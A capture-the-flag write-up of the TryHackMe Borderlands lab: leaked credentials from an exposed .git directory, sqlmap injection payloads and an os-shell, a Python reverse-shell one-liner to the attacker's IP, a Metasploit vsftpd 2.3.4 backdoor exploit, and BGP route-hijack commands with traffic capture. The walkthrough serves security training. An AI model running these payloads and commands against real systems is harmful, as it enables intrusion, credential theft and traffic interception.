hoS / blog
Post
writeup 2024-01-25 · 7 min read

TryHackMe Borderlands Writeup (BGP Hijacking)

Linux room. GitTools dumps an exposed .git for an API key, sqlmap turns documentid into an OS shell, and pivoting reaches a vsftpd 2.3.4 backdoor and BGP.

Guilherme Alves
TryHackMe Linux Web PHP git-history
TryHackMe Borderlands Writeup (BGP Hijacking)

Summary

Borderlands opens on an nginx host serving the Context Information Security HackBack 2 site, where an exposed /.git directory is dumped and extracted with GitTools. The history contains a commit that removed sensitive data, handing back the MySQL root password in functions.php plus the three API keys api.php checks. GetDocumentDetails concatenates documentid straight into its query, so sqlmap dumps myfirstwebsite, billg’s hash cracks to potato, and the tool’s os-shell option lands a shell on the web host. From there Metasploit autoroute plus a static nmap binary map 172.16.0.0/16 and turn up a router at 172.16.1.128 running FTP, BGP and zebra. That FTP is vsftpd 2.3.4, whose backdoor module gives root on the router, and from its vtysh prompt routes for the neighbouring subnets are advertised over BGP while tcpdump captures the redirected traffic.

export IP=10.10.35.96

Port scanning

22/tcp on 10.10.35.96 (OpenSSH 7.2p2 Ubuntu) 80/tcp on 10.10.35.96 (nginx 1.14.0) Title: Context Information Security - HackBack 2 Supported Methods: GET HEAD POST

Target: Port 80

Running a simple web server, as it seems.

/.git/

Using GitTools, I was able to dump and extract all commits.

1
2
3
4
5
6
7
8
9
10
11
12
13

0000000000000000000000000000000000000000 152b2d9976cd37a68fd462af8e4ce21356b5485e Context Information Security <recruitment@contextis.com> 1568122271 +0100	commit (initial): created repo

152b2d9976cd37a68fd462af8e4ce21356b5485e 93bab0a450caaa8c4d2632703636eccc69062bb4 Context Information Security <recruitment@contextis.com> 1568122438 +0100	commit: added under construction page

93bab0a450caaa8c4d2632703636eccc69062bb4 79c9539b6566b06d6dec2755fdf58f5f9ec8822f Context Information Security <recruitment@contextis.com> 1568122828 +0100	commit: added basic prototype of api gateway

79c9539b6566b06d6dec2755fdf58f5f9ec8822f b2f776a52fe81a731c6c0fa896e7f9548aafceab Context Information Security <recruitment@contextis.com> 1568122860 +0100	commit: removed sensitive data

b2f776a52fe81a731c6c0fa896e7f9548aafceab 04f1f411857cc972ae8ed5efcffa298f5f6168fb Context Information Security <recruitment@contextis.com> 1568122932 +0100	commit: added theme

04f1f411857cc972ae8ed5efcffa298f5f6168fb fee5595bb2ba1d1ab005ec3de98367fe5d021e9f Context Information Security <recruitment@contextis.com> 1568123006 +0100	commit: added white paper pdf's

fee5595bb2ba1d1ab005ec3de98367fe5d021e9f 6db3cf70b469de942f2f529166088cdfbbd5f764 Context Information Security <recruitment@contextis.com> 1568123071 +0100	commit: added mobile apk for beta testing.

Vulners

Found some interesting vulnerabilities.

Sensitive data exposure (01): Database credentials (extracted clear-text from functions.php)

db_servername = “localhost”; db_username = “root”; db_password = “CCv4@he2MaHbIP7mB89TNKdei0VZ0Y”; db_name = “myfirstwebsite”;

Sensitive data exposure (02): API Keys (extracted clear-text from commit b2f776a52fe81a731c6c0fa896e7f9548aafceab at api.php)

1

if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "WEBLhvOJAH8d50Z4y5G5") && substr($_GET['apikey'], 0, 20) !== "ANDVOWLDLAS5Q8OQZ2tu" && substr($_GET['apikey'], 0, 20) !== "GITtFi80llzs4TxqMWtCotiTZpf0HC"))

SQL Injection

Vulnerable endpoint: http://10.10.35.96/api.php?apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1

Found via vulnerable code (functions.php) inserting user input directly into the sql query:

1
2
3
4
5
6
7
8
9
10
11
12

function GetDocumentDetails($conn, $documentid)
{
    $sql = "select documentid, documentname, location from documents where documentid=".$documentid;
    //echo $sql;
    $result = mysqli_query($conn, $sql) or die(mysqli_error($conn));

    if (mysqli_num_rows($result) === 1) {
        return mysqli_fetch_assoc($result);
    } else {
        return null;
    }
}

sqlmap -u “http://10.10.35.96/api.php?apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1” -p documentid -dbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

GET parameter 'documentid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: documentid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1 AND 9732=9732

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1 AND GTID_SUBSET(CONCAT(0x71706b7a71,(SELECT (ELT(2773=2773,1))),0x7178627171),2773)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1 AND (SELECT 3127 FROM (SELECT(SLEEP(5)))gzZl)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=-5469 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7a71,0x77707266546d694979754856524f5956766d78636c71554f44587668706c4447446e786451757377,0x7178627171)-- -
---
[16:56:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.6
[16:56:19] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] myfirstwebsite
[*] mysql
[*] performance_schema
[*] sys

[16:56:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.35.96'

Weak credentials

Database: myfirstwebsite Table: users [1 entry] +——–+————————————————————–+———-+ | userid | password | username | +——–+————————————————————–+———-+ | 1 | 2y10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW | billg | +——–+————————————————————–+———-+

2y10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW:potato

Credentials: billg:potato

Initial Access

sqlmap -u “http://10.10.35.96/api.php?apikey=GITtFi80llzs4TxqMWtCotiTZpf0HC&documentid=1” -p documentid –dbms=mysql –technique=E –os-shell

  1. Run nc -lvnp 1337 on the attacker machine
  2. Run the below code on the victim machine
1

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.6.11.210",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
  1. Stabilize the shell.

Post exp

Uploaded a upload.php file to transfer files from the attacker machine to the victim (upload-file-manual-burpsuite & upload.php)

  • Autoroute msf6 exploit(multi/handler) > search autoroute

Matching Modules

Name Disclosure Date Rank Check Description

0 post/multi/manage/autoroute normal No Multi Manage Network Route via Meterpreter Session

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/autoroute

msf6 exploit(multi/handler) > use 1 [-] Invalid module index: 1 msf6 exploit(multi/handler) > use 0 msf6 post(multi/manage/autoroute) > options

Module options (post/multi/manage/autoroute):

Name Current Setting Required Description

CMD autoadd yes Specify the autoroute command (Accepted: add, autoad d, print, delete, default) NETMASK 255.255.255.0 no Netmask (IPv4 as “255.255.255.0” or CIDR as “/24” SESSION yes The session to run this module on SUBNET no Subnet (IPv4, for example, 10.10.10.0)

View the full module info with the info, or info -d command.

msf6 post(multi/manage/autoroute) > set NETMASK /16 NETMASK => /16 msf6 post(multi/manage/autoroute) > set SESSION 1 SESSION => 1 msf6 post(multi/manage/autoroute) > set SUBNET 172.18.0.0 SUBNET => 172.18.0.0 msf6 post(multi/manage/autoroute) > run

Network information

172.16.1.10 (me)

/etc/hosts

127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.18.0.2 app.ctx.ctf app 172.16.1.10 app.ctx.ctf app

Active ports

tcp LISTEN 0 128 127.0.0.11:36445 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:((“nginx”,pid=513,fd=6))

Pivoting

./nmap -sn 172.16.0.0/16

Nmap scan report for app.ctx.ctf (172.16.1.10) Host is up (0.00058s latency). Nmap scan report for hackback_router1_1.hackback_r_1_ext (172.16.1.128) Host is up (0.00023s latency).

Target: 172.16.1.128

PORT STATE SERVICE REASON 21/tcp open ftp syn-ack 179/tcp open bgp syn-ack 2601/tcp open zebra syn-ack 2605/tcp open bgpd syn-ack

Access as root!

vsftpd 2.3.4 is vulnerable! portfwd add -p 21 -r 172.16.1.128 -l 2121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor                                                                            

msf6 auxiliary(scanner/portscan/tcp) > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/d
                                      ocs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.1.128
RHOSTS => 172.16.1.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

$ ifconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

eth0      Link encap:Ethernet  HWaddr 02:42:AC:10:0C:65  
          inet addr:172.16.12.101  Bcast:172.16.12.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:879 errors:0 dropped:0 overruns:0 frame:0
          TX packets:801 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:52641 (51.4 KiB)  TX bytes:47594 (46.4 KiB)

eth1      Link encap:Ethernet  HWaddr 02:42:AC:10:01:80  
          inet addr:172.16.1.128  Bcast:172.16.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:68328 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66806 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:5028817 (4.7 MiB)  TX bytes:3609384 (3.4 MiB)

eth2      Link encap:Ethernet  HWaddr 02:42:AC:10:1F:65  
          inet addr:172.16.31.101  Bcast:172.16.31.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:883 errors:0 dropped:0 overruns:0 frame:0
          TX packets:794 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:53020 (51.7 KiB)  TX bytes:47073 (45.9 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

1
2
3
4
5
6
7
8
9

vtysh
config terminal
router bgp 60001
network 172.16.2.0/25
network 172.16.3.0/25
end
clear ip bgp *
exit
tcpdump -i eth0 -A -w capture.pcap
Writeups TryHackMe
TryHackMe Linux Web PHP git-history api-key-leak credentials-leak SQL Injection Hash Cracking Metasploit pivoting FTP BGP Network Pentesting reverse-shell Privilege Escalation
This post is licensed under CC BY 4.0 by the author.